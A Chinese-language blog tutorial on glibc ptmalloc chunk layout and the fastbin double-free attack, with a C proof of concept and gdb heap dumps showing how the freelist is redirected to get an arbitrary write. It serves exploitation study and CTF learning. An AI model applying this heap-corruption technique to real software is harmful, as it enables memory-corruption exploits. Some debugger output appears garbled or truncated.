ptmalloc

ptmalloc的基本思路是将堆上的内存区域划分为多个chunk,在分配/回收内存时,对chunk进行分割、回收等操作。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。

chunk头包括以下两部分:

prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。

如果当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息,具体如下:

fd: 下一个未被使用的chunk的地址
bk: 上一个未被使用的chunk的地址

 chunk结构

struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
}; typedef struct malloc_chunk* mchunkptr;

Allocated chunk:

在图中,chunk 指针指向一个 chunk 的开始,一个 chunk 中包含了用户请求的内存区域和相关的控制信息。
图中的 mem 指针才是真正返回给用户的内存指针。
chunk 的第二个域的最低一位为 P,它表示前一个块是否在使用中,P 为 0 则表示前一个 chunk 为空闲(并非指链表中的前一个堆块,而是连续内存中的前一块内存),这时 chunk 的第一个域 prev_size 才有效,prev_size 表示前一个 chunk 的 size,程序可以使用这个值来找到前一个 chunk 的开始地址。
当 P 为 1 时,表示前一个 chunk 正在使用中,prev_size无效,程序也就不可以得到前一个 chunk 的大小。不能对前一个 chunk 进行任何操作。ptmalloc 分配的第一个块总是将 P 设为 1,以防止程序引用到不存在的区域。
Chunk的第二个域的倒数第二个位为M,他表示当前chunk是从哪个内存区域获得的虚拟内存。M 为 1 表示该 chunk 是从 mmap 映射区域分配的,否则是从 heap 区域分配的。
Chunk 的第二个域倒数第三个位为 A,表示该 chunk 属于主分配区或者非主分配区,如果属于非主分配区,将该位置为 1,否则置为 0。

对于32位机,8字节对齐,对于64位机,16字节对齐

32位机中,一个使用中的 chunk 的大小的计算公式应该是: in_use_size = (用户请求大小+ 8 - 4 ) align to 8B,这里加 8 是因为需要存储 prev_size 和 size, 但又因为向下一个 chunk“借”了 4B,所以要减去 4。

Chunk可分为4类:1)allocated chunk;2)free chunk; 3)top chunk; 4)Last remainder chunk。

从本质上来说,所有类型的chunk都是内存中一块连续的区域,只是通过该区域中特定位置的某些标识符加以区分。allocated chunk表示已经分配给用户使用的chunk;free chunk表示未使用的chunk。

Fastbin Attack

glibc通过fastbin来管理⻓度较小的堆块。fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

fastbin特点:

• 单链表结构

• 遵循LIFO(Last In First Out)的分配策略

• 每次加⼊入新的堆块时会检查
该堆块是否为链表头节点

fastbin攻击原理

fastbin attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的,并且由 fastbin 管理的 chunk 即使被释放,其 next_chunk 的 prev_inuse 位也不会被清空。

1. Double Free

Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放,因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块,相当于多个指针指向同一个堆块,结合堆块的数据内容可以实现类似于类型混淆的效果。Fastbin Double Free 能够成功利用主要有两部分的原因:一是fastbin 的堆块被释放后 next_chunk 的 pre_inuse 位不会被清空;二是fastbin 在执行 free 的时候仅验证了 main_arena 直接指向的块,即链表指针头部的块。对于链表后面的块,并没有进行验证。

int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1);
return ;
}

因为chunk1 被再次释放其 fd 值不再为0而是指向chunk2,如果控制 chunk1 的内容,便可以写入其 fd 指针从而实现在我们想要的任意地址分配 fastbin 块。

示例代码:

#include <stdio.h>
#include <stdlib.h>
typedef struct _chunk
{
long long pre_size;
long long size;
long long fd;
long long bk;
} CHUNK,*PCHUNK; CHUNK bss_chunk; int main(void)
{
void *chunk1,*chunk2,*chunk3;
void *chunk_a,*chunk_b; bss_chunk.size=0x21; //注意,在malloc时会检查chunk的size,如果其 size 与当前 fastbin 链表应有 size 不符就会抛出异常。
chunk1=malloc(0x10);
chunk2=malloc(0x10); free(chunk1);
free(chunk2);
free(chunk1); chunk_a=malloc(0x10);
*(long long *)chunk_a=&bss_chunk;
malloc(0x10);
malloc(0x10);
chunk_b=malloc(0x10);
printf("%p",chunk_b);
return ;
}

当程序执行到free(chunk2)后,ptmalloc是管理fastbin的方法:

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd为空,fastbin链表为main_arena=>chunk2=>chunk1。再次执行free(chunk1)后

gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk1
0x602010: 0x0000000000602020 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时chunk2的fd指向chunk1,而chunk1的fd指向chunk2,fastbin链表为main_arena=>chunk1=>chunk2=>chunk1。

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},

此时申请chunk_a,fastbin链表为main_arena=>chunk2=>chunk_a=>chunk2。并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
0x602000:    0x0000000000000000    0x0000000000000021   ————————>chunk_a
0x602010: 0x0000000000602000 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

并将chunk_a的指针域修改为要修改的地址-0x10以上(此处选择的是bss_chunk:0x601080)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602020, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, gdb-peda$ x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000

chunk1 的 fd 指针指向 bss 段上的 bss_chunk,fastbin链表为main_arena=>chunk2=>chunk_a=>malloc_hook(bss_chunk)。

申请一个new chunk 2:

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x602000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x602040,
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021 ————————>chunk_a
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 ————————>chunk2
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1 ————————>top chunk
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk2被申请后,fastbin链表为main_arena=>chunk_a=>bss_chunk。

再申请一个new chunk 3(new chunk 3是和chunk_a重合的)

gdb-peda$ p main_arena
$ = {
mutex = 0x0,
flags = 0x0,
fastbinsY = {0x601080 <bss_chunk>, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
gdb-peda$  x/20xg 0x602000
0x602000: 0x0000000000000000 0x0000000000000021
0x602010: 0x0000000000601080 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021
0x602030: 0x0000000000602000 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000020fc1
0x602050: 0x0000000000000000 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000000000
0x602070: 0x0000000000000000 0x0000000000000000
0x602080: 0x0000000000000000 0x0000000000000000
0x602090: 0x0000000000000000 0x0000000000000000

此时new chunk 3与chunk_a重合,fastbin链表为main_arena=>bss_chunk已经指向了我们想要修改的地址了,只要再申请一个堆块就会申请到想要修改的地址,然后只要编辑这个堆块便可完成任意地址写。

gdb-peda$ c
Continuing.
0x601090[Inferior (process ) exited normally]
Warning: not running
gdb-peda$ x/20xg 0x601080
0x601080 <bss_chunk>: 0x0000000000000000 0x0000000000000000
0x601090 <bss_chunk+>: 0x0000000000000000 0x0000000000000000
0x6010a0: Cannot access memory at address 0x6010a0

参考

图解fastbin:https://blog.csdn.net/Breeze_CAT/article/details/103788698

ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack-zh/

fastbin attack:https://www.cnblogs.com/countfatcode/p/11829124.html

Fastbin attack——Double Free的更多相关文章

  1. Fastbin attack

    Fastbin Attack 暂时接触到了两种针对堆分配机制中fastbin的攻击方式,double free和house of spirit Double free 基本原理 与uaf是对free之 ...

  2. Fastbin attack 总结

    Fastbin attack 本文参考了ctf-wiki 和glibc 要了解fastbin attack,我们先要了解fastbin的机制.由于libc2.26后加入了tcache机制,我们这里就只 ...

  3. fastbin attack学习小结

    fastbin attack学习小结   之前留在本地的一篇笔记,复习一下. 下面以glibc2.23为例,说明fastbin管理动态内存的细节.先看一下释放内存的管理: if ((unsigned  ...

  4. pwn with glibc heap(堆利用手册)

    前言 ​ 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. ​ 文中未做说明 均是指 glibc 2.23 ​ 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 ​ 本节只是简 ...

  5. off by null 实战

    前言 off by null 是一个比较有意思的技术 下面通过 hctf2018 的 heapstrom_zero 实战一波. 相关文件(exp, 题目)位于 https://gitee.com/ha ...

  6. House of Roman 实战

    前言 这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录. 这种利用手法的主要特点是不需要 leak libc的地址,通过 堆内存的布局 和 堆相关的漏 ...

  7. 强网杯2018 pwn复现

    前言 本文对强网杯 中除了 2 个内核题以外的 6 个 pwn 题的利用方式进行记录.题目真心不错 程序和 exp: https://gitee.com/hac425/blog_data/blob/m ...

  8. how2heap 源码及输出

    备个份,慢慢写总结 1 first_fit #include <stdio.h> #include <stdlib.h> #include <string.h> i ...

  9. HITCON-Training-Writeup

    HITCON-Training-Writeup 原文链接M4x@10.0.0.55 项目地址M4x's github,欢迎star~ 更新时间5月16 复习一下二进制基础,写写HITCON-Train ...

随机推荐

  1. 基于索引的QA问答对匹配流程梳理

    知识库(主要是标准的QA信息)匹配需求是对已经梳理出的大量标准QA对信息进行匹配,找出最符合用户问题的QA对进行回复,拆分主要的处理流程主要为如下两点: 标准QA信息入库索引: 通过对用户提出的问题进 ...

  2. 洛谷P3513 [POI2011]KON-Conspiracy

    洛谷P3513 [POI2011]KON-Conspiracy 题目描述 Byteotia的领土被占领了,国王Byteasar正在打算组织秘密抵抗运动. 国王需要选一些人来进行这场运动,而这些人被分为 ...

  3. CVE-2020-14644 weblogic iiop反序列化漏洞

    0x00 weblogic 受影响版本 Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0 0x01 环境准备 1.安装weblogic ...

  4. 2020-08-02:输入ping IP 后敲回车,发包前会发生什么?

    福哥答案2020-08-02: 首先根据目的IP和路由表决定走哪个网卡,再根据网卡的子网掩码地址判断目的IP是否在子网内.如果不在则会通过arp缓存查询IP的网卡地址,不存在的话会通过广播询问目的IP ...

  5. 关于在Visual Studio 2019预览版中的用户体验和界面的变化

    原文地址:https://blogs.msdn.microsoft.com/visualstudio/2018/11/12/a-preview-of-ux-and-ui-changes-in-visu ...

  6. K8S(11)配置中心实战-单环境交付apollo三组件

    k8s配置中心实战-交付apollo三组件 目录 k8s配置中心实战-交付apollo三组件 1 apollo简单说明 1.1 apollo最简架构图: 1.2 apollo组件部署关系 2 为app ...

  7. PYTHON-错误-函数有返回值未接收导致替换不成功

    #1.有返回值,没有赋值,替换不成功 cxj = 'guapi' cxj.replace(cxj,'2b') print(cxj) #2.有返回值,赋值,替换成功 cxj = 'guapi' cxj ...

  8. 初入Shell

    shell 第1章 Shell概述 大数据程序员为什么要学习Shell呢? 1)需要看懂运维人员编写的Shell程序. 2)偶尔会编写一些简单Shell程序来管理集群.提高开发效率. 第2章 Shel ...

  9. ucore lab2

    CPU在如下时刻会检查特权级 访问数据段 访问页 进入中断服务例程(ISR) RPL位于段寄存器 DS ES FS GS CPL位于CS SS DPL位于段描述符表/门描述符 访问门时: CPL< ...

  10. ARDUBOY游戏开发之路(一) 初识ARDUBOY

    一.什么是ARDUBOY Arduboy是一个仅有信用卡大小的创造.分享游戏的开放平台.爱好者可以免费从Arduboy中选择一款经典的游戏,然后将游戏在目前最流行的arduino平台上编程.Ardub ...